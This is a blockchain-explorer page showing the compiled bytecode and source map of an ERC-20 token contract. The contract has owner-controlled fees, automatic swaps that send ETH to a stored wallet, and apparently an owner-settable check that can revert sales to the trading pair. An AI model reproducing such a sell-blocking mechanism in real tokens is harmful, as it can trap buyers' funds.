038316610aaa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610425565b6001600160a01b038216610b0b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610425565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bcf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610425565b6001600160a01b038216610c315760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610425565b5f8111610c925760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610425565b5f80546001600160a01b03858116911614801590610cbd57505f546001600160a01b03848116911614155b15610dd557610ce26064610cdc6005548561110a90919063ffffffff16565b9061118f565b600c549091506001600160a01b038481169116148015610d0b57506001600160a01b0384163014155b15610d475760045460c8600160a01b90910460070b1215610d2a575f80fd5b610d446064610cdc6006548561110a90919063ffffffff16565b90505b305f90815260016020526040902054600c54600160a81b900460ff16158015610d7d5750600c546001600160a01b038581169116145b8015610d925750600c54600160b01b900460ff165b8015610d9f575060095481115b15610dd357610dc1610dbc84610db784600a546111d0565b6111d0565b610f4a565b478015610dd157610dd1476110d3565b505b505b8015610e4d57305f90815260016020526040902054610df490826111e4565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e449085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610e6f9083611242565b6001600160a01b0385165f90815260016020526040902055610eb2610e948383611242565b6001600160a01b0385165f90815260016020526040902054906111e4565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610efb8585611242565b60405190815260200160405180910390a350505050565b5f8184841115610f355760405162461bcd60e51b815260040161042591906112de565b505f610f4184866115b1565b95945050505050565b600c805460ff60a81b1916600160a81b17905580156110c357600c54600160a01b900460ff16156110c3576040805160028082526060820183525f9260208301908036833701905050905030815f81518110610fa857610fa86115c4565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fff573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611023919061154c565b81600181518110611036576110366115c4565b6001600160a01b039283166020918202929092010152600b5461105c9130911684610a48565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110949085905f908690309042906004016115d8565b5f604051808303815f87803b1580156110ab575f80fd5b505af11580156110bd573d5f803e3d5ffd5b50505050505b50600c805460ff60a81b19169055565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610577573d5f803e3d5ffd5b5f825f0361111957505f610460565b5f6111248385611516565b905082611131858361152d565b146111885760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610425565b9392505050565b5f61118883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611283565b5f8183116111de5782611188565b50919050565b5f806111f08385611647565b9050838110156111885760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610425565b5f61118883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f12565b5f81836112a35760405162461bcd60e51b815260040161042591906112de565b505f610f41848661152d565b6001600160a01b0381168114610527575f80fd5b5f602082840312156112d3575f80fd5b8135611188816112af565b5f6020808352835180828501525f5b81811015611309578581018301518582016040015282016112ed565b505f604082860101526040601f19601f8301168501019250505092915050565b5f806040838503121561133a575f80fd5b8235611345816112af565b946020939093013593505050565b5f805f60608486031215611365575f80fd5b8335611370816112af565b92506020840135611380816112af565b929592945050506040919091013590565b5f602082840312156113a1575f80fd5b5035919050565b5f80604083850312156113b9575f80fd5b82356113c4816112af565b915060208301356113d4816112af565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561146257815f190482111561144857611448611414565b8085161561145557918102915b93841c939080029061142d565b509250929050565b5f8261147857506001610460565b8161148457505f610460565b816001811461149a57600281146114a4576114c0565b6001915050610460565b60ff8411156114b5576114b5611414565b50506001821b610460565b5060208310610133831016604e8410600b84101617156114e3575081810a610460565b6114ed8383611428565b805f190482111561150057611500611414565b029392505050565b5f61118860ff84168361146a565b808202811582820484141761046057610460611414565b5f8261154757634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121561155c575f80fd5b8151611188816112af565b5f805f60608486031215611579575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156115a2575f80fd5b81518015158114611188575f80fd5b8181038181111561046057610460611414565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156116265784516001600160a01b031683529383019391830191600101611601565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156104605761046061141456fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cac47bbd0e1a03401febaa9e10b7a40330e03660a8716f54e4ecb9d23dc16ef664736f6c63430008150033

Deployed Bytecode Sourcemap

3729:7118:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8441:119;;;;;;;;;;-1:-1:-1;8441:119:0;;;;;:::i;:::-;;:::i;:::-;;5239:83;;;;;;;;;;-1:-1:-1;5309:5:0;;;;;;;;;;;-1:-1:-1;;;5309:5:0;;;;5239:83;;;;5309:5;5239:83;:::i;:::-;;;;;;;;6072:161;;;;;;;;;;-1:-1:-1;6072:161:0;;;;;:::i;:::-;;:::i;:::-;;;1472:14:1;;1465:22;1447:41;;1435:2;1420:18;6072:161:0;1307:187:1;4523:43:0;;;;;;;;;;;;;;;;;;;1645:25:1;;;1633:2;1618:18;4523:43:0;1499:177:1;5516:95:0;;;;;;;;;;;;;:::i;6241:313::-;;;;;;;;;;-1:-1:-1;6241:313:0;;;;;:::i;:::-;;:::i;5425:83::-;;;;;;;;;;-1:-1:-1;5425:83:0;;4182:1;2300:36:1;;2288:2;2273:18;5425:83:0;2158:184:1;8724:134:0;;;;;;;;;;-1:-1:-1;8724:134:0;;;;;:::i;:::-;;:::i;10496:348::-;;;;;;;;;;;;;:::i;8568:148::-;;;;;;;;;;-1:-1:-1;8568:148:0;;;;;:::i;:::-;;:::i;8366:67::-;;;;;;;;;;-1:-1:-1;8417:3:0;:8;;-1:-1:-1;;;;8417:8:0;-1:-1:-1;;;8417:8:0;;;8441:119;5619;;;;;;;;;;-1:-1:-1;5619:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5712:18:0;5685:7;5712:18;;;:9;:18;;;;;;;5619:119;2810:148;;;;;;;;;;;;;:::i;4375:37::-;;;;;;;;;;;;;;;;2596:79;;;;;;;;;;-1:-1:-1;2634:7:0;2661:6;2596:79;;-1:-1:-1;;;;;2661:6:0;;;2938:51:1;;2926:2;2911:18;2596:79:0;2792:203:1;4419:40:0;;;;;;;;;;;;;;;;8866:137;;;;;;;;;;-1:-1:-1;8866:137:0;;;;;:::i;:::-;;:::i;5746:167::-;;;;;;;;;;-1:-1:-1;5746:167:0;;;;;:::i;:::-;;:::i;4466:50::-;;;;;;;;;;;;;;;;9780:671;;;;;;;;;;;;;:::i;5921:143::-;;;;;;;;;;-1:-1:-1;5921:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6029:18:0;;;6002:7;6029:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5921:143;8441:119;2723:6;;-1:-1:-1;;;;;2723:6:0;431:10;2723:22;2715:67;;;;-1:-1:-1;;;2715:67:0;;;;;;;:::i;:::-;;;;;;;;;8530:10:::1;:22:::0;;-1:-1:-1;;;;;;8530:22:0::1;-1:-1:-1::0;;;;;8530:22:0;;;::::1;::::0;;;::::1;::::0;;8441:119::o;6072:161::-;6147:4;6164:39;431:10;6187:7;6196:6;6164:8;:39::i;:::-;-1:-1:-1;6221:4:0;6072:161;;;;;:::o;5516:95::-;5569:7;4240:13;4182:1;4240:2;:13;:::i;:::-;4225:28;;:12;:28;:::i;:::-;5589:14;;5516:95;:::o;6241:313::-;6339:4;6356:36;6366:6;6374:9;6385:6;6356:9;:36::i;:::-;6403:121;6412:6;431:10;6434:89;6472:6;6434:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6434:19:0;;;;;;:11;:19;;;;;;;;431:10;6434:33;;;;;;;;;;:37;:89::i;:::-;6403:8;:121::i;:::-;-1:-1:-1;6542:4:0;6241:313;;;;;:::o;8724:134::-;2723:6;;-1:-1:-1;;;;;2723:6:0;431:10;2723:22;2715:67;;;;-1:-1:-1;;;2715:67:0;;;;;;;:::i;:::-;8797:7:::1;:19:::0;;;8835:14;::::1;;8827:23;;;::::0;::::1;;8724:134:::0;:::o;10496:348::-;10560:10;;-1:-1:-1;;;;;10560:10:0;431;-1:-1:-1;;;;;10546:24:0;;10538:33;;;;;;10621:4;10582:20;5712:18;;;:9;:18;;;;;;10641:14;;10638:73;;10669:30;10686:12;10669:16;:30::i;:::-;10740:21;10775:12;;10772:65;;10801:24;10814:10;10801:12;:24::i;:::-;10527:317;;10496:348::o;8568:148::-;2723:6;;-1:-1:-1;;;;;2723:6:0;431:10;2723:22;2715:67;;;;-1:-1:-1;;;2715:67:0;;;;;;;:::i;:::-;8673:3:::1;8664:8:::0;4240:13:::1;4182:1;4240:2;:13;:::i;:::-;4225:28;::::0;:12:::1;:28;:::i;:::-;8654:18;;;;:::i;:::-;:22;;;;:::i;:::-;8639:12;:37:::0;8706:1:::1;8695:12:::0;::::1;;8687:21;;;::::0;::::1;2810:148:::0;2723:6;;-1:-1:-1;;;;;2723:6:0;431:10;2723:22;2715:67;;;;-1:-1:-1;;;2715:67:0;;;;;;;:::i;:::-;2917:1:::1;2901:6:::0;;2880:40:::1;::::0;-1:-1:-1;;;;;2901:6:0;;::::1;::::0;2880:40:::1;::::0;2917:1;;2880:40:::1;2948:1;2931:19:::0;;-1:-1:-1;;;;;;2931:19:0::1;::::0;;2810:148::o;8866:137::-;2723:6;;-1:-1:-1;;;;;2723:6:0;431:10;2723:22;2715:67;;;;-1:-1:-1;;;2715:67:0;;;;;;;:::i;:::-;8939:8:::1;:21:::0;;;8993:1:::1;8979:15:::0;::::1;;8971:24;;;::::0;::::1;5746:167:::0;5824:4;5841:42;431:10;5865:9;5876:6;5841:9;:42::i;9780:671::-;2723:6;;-1:-1:-1;;;;;2723:6:0;431:10;2723:22;2715:67;;;;-1:-1:-1;;;2715:67:0;;;;;;;:::i;:::-;9844:11:::1;::::0;-1:-1:-1;;;9844:11:0;::::1;;;9843:12;9835:47;;;::::0;-1:-1:-1;;;9835:47:0;;5882:2:1;9835:47:0::1;::::0;::::1;5864:21:1::0;5921:2;5901:18;;;5894:30;5960:25;5940:18;;;5933:53;6003:18;;9835:47:0::1;5680:347:1::0;9835:47:0::1;9893:15;:80:::0;;-1:-1:-1;;;;;;9893:80:0::1;9930:42;9893:80:::0;;::::1;::::0;;;9984:58:::1;::::0;10001:4:::1;::::0;4240:13:::1;4182:1;4240:2;:13;:::i;:::-;4225:28;::::0;:12:::1;:28;:::i;9984:58::-;10087:15;;;;;;;;;-1:-1:-1::0;;;;;10087:15:0::1;-1:-1:-1::0;;;;;10087:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10069:55:0::1;;10133:4;10140:15;;;;;;;;;-1:-1:-1::0;;;;;10140:15:0::1;-1:-1:-1::0;;;;;10140:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10069:94;::::0;-1:-1:-1;;;;;;10069:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6526:15:1;;;10069:94:0::1;::::0;::::1;6508:34:1::0;6578:15;;6558:18;;;6551:43;6443:18;;10069:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10053:13;:110:::0;;-1:-1:-1;;;;;10053:110:0;;::::1;-1:-1:-1::0;;;;;;10053:110:0;;::::1;;::::0;;10174:15:::1;::::0;::::1;:31;10213:21;10244:4;10250:24;10244:4:::0;-1:-1:-1;;;;;5712:18:0;5685:7;5712:18;;;:9;:18;;;;;;;5619:119;10250:24:::1;10275:1;10277::::0;10279:7:::1;2634::::0;2661:6;-1:-1:-1;;;;;2661:6:0;;2596:79;10279:7:::1;10174:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10174:129:0;;;-1:-1:-1;;;;;6964:15:1;;;10174:129:0::1;::::0;::::1;6946:34:1::0;6996:18;;;6989:34;;;;7039:18;;;7032:34;;;;7082:18;;;7075:34;7146:15;;;7125:19;;;7118:44;10287:15:0::1;7178:19:1::0;;;7171:35;6880:19;;10174:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10321:13:0::1;::::0;10352:15:::1;::::0;10314:71:::1;::::0;-1:-1:-1;;;10314:71:0;;-1:-1:-1;;;;;10352:15:0;;::::1;10314:71;::::0;::::1;7702:51:1::0;-1:-1:-1;;7769:18:1;;;7762:34;10321:13:0;::::1;::::0;-1:-1:-1;10314:29:0::1;::::0;7675:18:1;;10314:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10396:11:0::1;:18:::0;;-1:-1:-1;;;;10425:18:0;-1:-1:-1;;;10425:18:0;;;9780:671::o;6562:335::-;-1:-1:-1;;;;;6655:19:0;;6647:68;;;;-1:-1:-1;;;6647:68:0;;8291:2:1;6647:68:0;;;8273:21:1;8330:2;8310:18;;;8303:30;8369:34;8349:18;;;8342:62;-1:-1:-1;;;8420:18:1;;;8413:34;8464:19;;6647:68:0;8089:400:1;6647:68:0;-1:-1:-1;;;;;6734:21:0;;6726:68;;;;-1:-1:-1;;;6726:68:0;;8696:2:1;6726:68:0;;;8678:21:1;8735:2;8715:18;;;8708:30;8774:34;8754:18;;;8747:62;-1:-1:-1;;;8825:18:1;;;8818:32;8867:19;;6726:68:0;8494:398:1;6726:68:0;-1:-1:-1;;;;;6805:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6857:32;;1645:25:1;;;6857:32:0;;1618:18:1;6857:32:0;;;;;;;6562:335;;;:::o;6905:1453::-;-1:-1:-1;;;;;6993:18:0;;6985:68;;;;-1:-1:-1;;;6985:68:0;;9099:2:1;6985:68:0;;;9081:21:1;9138:2;9118:18;;;9111:30;9177:34;9157:18;;;9150:62;-1:-1:-1;;;9228:18:1;;;9221:35;9273:19;;6985:68:0;8897:401:1;6985:68:0;-1:-1:-1;;;;;7072:16:0;;7064:64;;;;-1:-1:-1;;;7064:64:0;;9505:2:1;7064:64:0;;;9487:21:1;9544:2;9524:18;;;9517:30;9583:34;9563:18;;;9556:62;-1:-1:-1;;;9634:18:1;;;9627:33;9677:19;;7064:64:0;9303:399:1;7064:64:0;7156:1;7147:6;:10;7139:64;;;;-1:-1:-1;;;7139:64:0;;9909:2:1;7139:64:0;;;9891:21:1;9948:2;9928:18;;;9921:30;9987:34;9967:18;;;9960:62;-1:-1:-1;;;10038:18:1;;;10031:39;10087:19;;7139:64:0;9707:405:1;7139:64:0;7214:17;2661:6;;-1:-1:-1;;;;;7248:15:0;;;2661:6;;7248:15;;;;:32;;-1:-1:-1;2634:7:0;2661:6;-1:-1:-1;;;;;7267:13:0;;;2661:6;;7267:13;;7248:32;7244:758;;;7313:28;7337:3;7313:19;7324:7;;7313:6;:10;;:19;;;;:::i;:::-;:23;;:28::i;:::-;7365:13;;7301:40;;-1:-1:-1;;;;;;7359:19:0;;;7365:13;;7359:19;:43;;;;-1:-1:-1;;;;;;7382:20:0;;7397:4;7382:20;;7359:43;7356:162;;;7431:3;;7438;-1:-1:-1;;;7431:3:0;;;;;:10;;7423:19;;;;;;7473:29;7498:3;7473:20;7484:8;;7473:6;:10;;:20;;;;:::i;:29::-;7461:41;;7356:162;7583:4;7534:28;5712:18;;;:9;:18;;;;;;7609:6;;-1:-1:-1;;;7609:6:0;;;;7608:7;:30;;;;-1:-1:-1;7625:13:0;;-1:-1:-1;;;;;7619:19:0;;;7625:13;;7619:19;7608:30;:45;;;;-1:-1:-1;7642:11:0;;-1:-1:-1;;;7642:11:0;;;;7608:45;:87;;;;;7678:17;;7657:20;:38;7608:87;7604:387;;;7716:67;7733:49;7737:6;7744:37;7748:20;7769:11;;7744:3;:37::i;:::-;7733:3;:49::i;:::-;7716:16;:67::i;:::-;7831:21;7874:22;;7871:105;;7921:35;7934:21;7921:12;:35::i;:::-;7697:294;7604:387;7282:720;7244:758;8017:11;;8014:161;;8085:4;8067:24;;;;:9;:24;;;;;;:39;;8096:9;8067:28;:39::i;:::-;8060:4;8042:24;;;;:9;:24;;;;;;;:64;;;;8124:39;;-1:-1:-1;;;;;8124:39:0;;;;;;;8153:9;1645:25:1;;1633:2;1618:18;;1499:177;8124:39:0;;;;;;;;8014:161;-1:-1:-1;;;;;8201:15:0;;;;;;:9;:15;;;;;;:27;;8221:6;8201:19;:27::i;:::-;-1:-1:-1;;;;;8185:15:0;;;;;;:9;:15;;;;;:43;8253:40;8271:21;:6;8282:9;8271:10;:21::i;:::-;-1:-1:-1;;;;;8253:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;8239:13:0;;;;;;;:9;:13;;;;;:54;;;;8309:41;;;8328:21;:6;8339:9;8328:10;:21::i;:::-;8309:41;;1645:25:1;;;1633:2;1618:18;8309:41:0;;;;;;;6974:1384;6905:1453;;;:::o;1488:190::-;1574:7;1610:12;1602:6;;;;1594:29;;;;-1:-1:-1;;;1594:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1634:9:0;1646:5;1650:1;1646;:5;:::i;:::-;1634:17;1488:190;-1:-1:-1;;;;;1488:190:0:o;9117:555::-;4848:6;:13;;-1:-1:-1;;;;4848:13:0;-1:-1:-1;;;4848:13:0;;;9195:27;;9214:7:::1;9195:27;9236:11;::::0;-1:-1:-1;;;9236:11:0;::::1;;;9232:25:::0;9249:7:::1;9232:25;9291:16;::::0;;9305:1:::1;9291:16:::0;;;;;::::1;::::0;;9267:21:::1;::::0;9291:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9291:16:0::1;9267:40;;9336:4;9318;9323:1;9318:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9318:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9362:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9362:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9318:7;;9362:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9352:4;9357:1;9352:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9352:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9427:15:::1;::::0;9395:62:::1;::::0;9412:4:::1;::::0;9427:15:::1;9445:11:::0;9395:8:::1;:62::i;:::-;9468:15;::::0;:196:::1;::::0;-1:-1:-1;;;9468:196:0;;-1:-1:-1;;;;;9468:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9549:11;;9468:15:::1;::::0;9591:4;;9618::::1;::::0;9638:15:::1;::::0;9468:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9184:488;4872:1;-1:-1:-1::0;4884:6:0;:14;;-1:-1:-1;;;;4884:14:0;;;9117:555::o;9680:92::-;9737:10;;:27;;-1:-1:-1;;;;;9737:10:0;;;;:27;;;;;9757:6;;9737:10;:27;:10;:27;9757:6;9737:10;:27;;;;;;;;;;;;;;;;;;;1686:246;1744:7;1768:1;1773;1768:6;1764:47;;-1:-1:-1;1798:1:0;1791:8;;1764:47;1821:9;1833:5;1837:1;1833;:5;:::i;:::-;1821:17;-1:-1:-1;1866:1:0;1857:5;1861:1;1821:17;1857:5;:::i;:::-;:10;1849:56;;;;-1:-1:-1;;;1849:56:0;;11701:2:1;1849:56:0;;;11683:21:1;11740:2;11720:18;;;11713:30;11779:34;11759:18;;;11752:62;-1:-1:-1;;;11830:18:1;;;11823:31;11871:19;;1849:56:0;11499:397:1;1849:56:0;1923:1;1686:246;-1:-1:-1;;;1686:246:0:o;1940:132::-;1998:7;2025:39;2029:1;2032;2025:39;;;;;;;;;;;;;;;;;:3;:39::i;9011:98::-;9068:7;9095:1;9093;:3;9092:9;;9100:1;9092:9;;;-1:-1:-1;9098:1:0;9011:98;-1:-1:-1;9011:98:0:o;1157:179::-;1215:7;;1247:5;1251:1;1247;:5;:::i;:::-;1235:17;;1276:1;1271;:6;;1263:46;;;;-1:-1:-1;;;1263:46:0;;12233:2:1;1263:46:0;;;12215:21:1;12272:2;12252:18;;;12245:30;12311:29;12291:18;;;12284:57;12358:18;;1263:46:0;12031:351:1;1344:136:0;1402:7;1429:43;1433:1;1436;1429:43;;;;;;;;;;;;;;;;;:3;:43::i;2080:189::-;2166:7;2201:12;2194:5;2186:28;;;;-1:-1:-1;;;2186:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2225:9:0;2237:5;2241:1;2237;:5;:::i;14:139:1:-;-1:-1:-1;;;;;97:31:1;;87:42;;77:70;;143:1;140;133:12;158:263;225:6;278:2;266:9;257:7;253:23;249:32;246:52;;;294:1;291;284:12;246:52;333:9;320:23;352:39;385:5;352:39;:::i;426:548::-;538:4;567:2;596;585:9;578:21;628:6;622:13;671:6;666:2;655:9;651:18;644:34;696:1;706:140;720:6;717:1;714:13;706:140;;;815:14;;;811:23;;805:30;781:17;;;800:2;777:26;770:66;735:10;;706:140;;;710:3;895:1;890:2;881:6;870:9;866:22;862:31;855:42;965:2;958;954:7;949:2;941:6;937:15;933:29;922:9;918:45;914:54;906:62;;;;426:548;;;;:::o;979:323::-;1047:6;1055;1108:2;1096:9;1087:7;1083:23;1079:32;1076:52;;;1124:1;1121;1114:12;1076:52;1163:9;1150:23;1182:39;1215:5;1182:39;:::i;:::-;1240:5;1292:2;1277:18;;;;1264:32;;-1:-1:-1;;;979:323:1:o;1681:472::-;1758:6;1766;1774;1827:2;1815:9;1806:7;1802:23;1798:32;1795:52;;;1843:1;1840;1833:12;1795:52;1882:9;1869:23;1901:39;1934:5;1901:39;:::i;:::-;1959:5;-1:-1:-1;2016:2:1;2001:18;;1988:32;2029:41;1988:32;2029:41;:::i;:::-;1681:472;;2089:7;;-1:-1:-1;;;2143:2:1;2128:18;;;;2115:32;;1681:472::o;2347:180::-;2406:6;2459:2;2447:9;2438:7;2434:23;2430:32;2427:52;;;2475:1;2472;2465:12;2427:52;-1:-1:-1;2498:23:1;;2347:180;-1:-1:-1;2347:180:1:o;3000:404::-;3068:6;3076;3129:2;3117:9;3108:7;3104:23;3100:32;3097:52;;;3145:1;3142;3135:12;3097:52;3184:9;3171:23;3203:39;3236:5;3203:39;:::i;:::-;3261:5;-1:-1:-1;3318:2:1;3303:18;;3290:32;3331:41;3290:32;3331:41;:::i;:::-;3391:7;3381:17;;;3000:404;;;;;:::o;3409:356::-;3611:2;3593:21;;;3630:18;;;3623:30;3689:34;3684:2;3669:18;;3662:62;3756:2;3741:18;;3409:356::o;3770:127::-;3831:10;3826:3;3822:20;3819:1;3812:31;3862:4;3859:1;3852:15;3886:4;3883:1;3876:15;3902:422;3991:1;4034:5;3991:1;4048:270;4069:7;4059:8;4056:21;4048:270;;;4128:4;4124:1;4120:6;4116:17;4110:4;4107:27;4104:53;;;4137:18;;:::i;:::-;4187:7;4177:8;4173:22;4170:55;;;4207:16;;;;4170:55;4286:22;;;;4246:15;;;;4048:270;;;4052:3;3902:422;;;;;:::o;4329:806::-;4378:5;4408:8;4398:80;;-1:-1:-1;4449:1:1;4463:5;;4398:80;4497:4;4487:76;;-1:-1:-1;4534:1:1;4548:5;;4487:76;4579:4;4597:1;4592:59;;;;4665:1;4660:130;;;;4572:218;;4592:59;4622:1;4613:10;;4636:5;;;4660:130;4697:3;4687:8;4684:17;4681:43;;;4704:18;;:::i;:::-;-1:-1:-1;;4760:1:1;4746:16;;4775:5;;4572:218;;4874:2;4864:8;4861:16;4855:3;4849:4;4846:13;4842:36;4836:2;4826:8;4823:16;4818:2;4812:4;4809:12;4805:35;4802:77;4799:159;;;-1:-1:-1;4911:19:1;;;4943:5;;4799:159;4990:34;5015:8;5009:4;4990:34;:::i;:::-;5060:6;5056:1;5052:6;5048:19;5039:7;5036:32;5033:58;;;5071:18;;:::i;:::-;5109:20;;4329:806;-1:-1:-1;;;4329:806:1:o;5140:140::-;5198:5;5227:47;5268:4;5258:8;5254:19;5248:4;5227:47;:::i;5285:168::-;5358:9;;;5389;;5406:15;;;5400:22;;5386:37;5376:71;;5427:18;;:::i;5458:217::-;5498:1;5524;5514:132;;5568:10;5563:3;5559:20;5556:1;5549:31;5603:4;5600:1;5593:15;5631:4;5628:1;5621:15;5514:132;-1:-1:-1;5660:9:1;;5458:217::o;6032:259::-;6102:6;6155:2;6143:9;6134:7;6130:23;6126:32;6123:52;;;6171:1;6168;6161:12;6123:52;6203:9;6197:16;6222:39;6255:5;6222:39;:::i;7217:306::-;7305:6;7313;7321;7374:2;7362:9;7353:7;7349:23;7345:32;7342:52;;;7390:1;7387;7380:12;7342:52;7419:9;7413:16;7403:26;;7469:2;7458:9;7454:18;7448:25;7438:35;;7513:2;7502:9;7498:18;7492:25;7482:35;;7217:306;;;;;:::o;7807:277::-;7874:6;7927:2;7915:9;7906:7;7902:23;7898:32;7895:52;;;7943:1;7940;7933:12;7895:52;7975:9;7969:16;8028:5;8021:13;8014:21;8007:5;8004:32;7994:60;;8050:1;8047;8040:12;10117:128;10184:9;;;10205:11;;;10202:37;;;10219:18;;:::i;10382:127::-;10443:10;10438:3;10434:20;10431:1;10424:31;10474:4;10471:1;10464:15;10498:4;10495:1;10488:15;10514:980;10776:4;10824:3;10813:9;10809:19;10855:6;10844:9;10837:25;10881:2;10919:6;10914:2;10903:9;10899:18;10892:34;10962:3;10957:2;10946:9;10942:18;10935:31;10986:6;11021;11015:13;11052:6;11044;11037:22;11090:3;11079:9;11075:19;11068:26;;11129:2;11121:6;11117:15;11103:29;;11150:1;11160:195;11174:6;11171:1;11168:13;11160:195;;;11239:13;;-1:-1:-1;;;;;11235:39:1;11223:52;;11330:15;;;;11295:12;;;;11271:1;11189:9;11160:195;;;-1:-1:-1;;;;;;;11411:32:1;;;;11406:2;11391:18;;11384:60;-1:-1:-1;;;11475:3:1;11460:19;11453:35;11372:3;10514:980;-1:-1:-1;;;10514:980:1:o;11901:125::-;11966:9;;;11987:10;;;11984:36;;;12000:18;;:::i

Swarm Source

ipfs://cac47bbd0e1a03401febaa9e10b7a40330e03660a8716f54e4ecb9d23dc16ef6
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.